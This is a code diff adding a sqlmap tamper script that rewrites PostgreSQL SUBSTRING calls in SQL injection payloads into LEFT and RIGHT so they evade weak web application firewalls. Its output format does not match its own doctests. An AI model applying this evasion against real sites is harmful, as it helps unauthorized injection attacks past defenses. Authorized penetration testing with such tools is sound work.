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47 changes: 47 additions & 0 deletions tamper/substring2leftright.py
Original file line number Diff line number Diff line change
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#!/usr/bin/env python

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def tamper(payload, **kwargs):
"""
Replaces PostgreSQL SUBSTRING with LEFT and RIGHT

Tested against:
* PostgreSQL 9.6.12

Note:
* Useful to bypass weak web application firewalls that filter SUBSTRING (but not LEFT and RIGHT)

>>> tamper('SUBSTRING((X FROM 1 FOR 1))')
'LEFT(X,1)'
>>> tamper('SUBSTRING((X FROM 5 FOR 1))')
'LEFT(RIGHT(X,-4),1)'
"""

retVal = payload

if payload:
match = re.search(r"SUBSTRING\(\((.*)\sFROM\s(\d+)\sFOR\s1\)\)", payload)

if match:
pos = int(match.group(2))
if pos == 1:
_ = "LEFT((%s,1))" % (match.group(1))
else:
_ = "LEFT(RIGHT((%s,%d),1))" % (match.group(1), 1-pos)

retVal = retVal.replace(match.group(0), _)

return retVal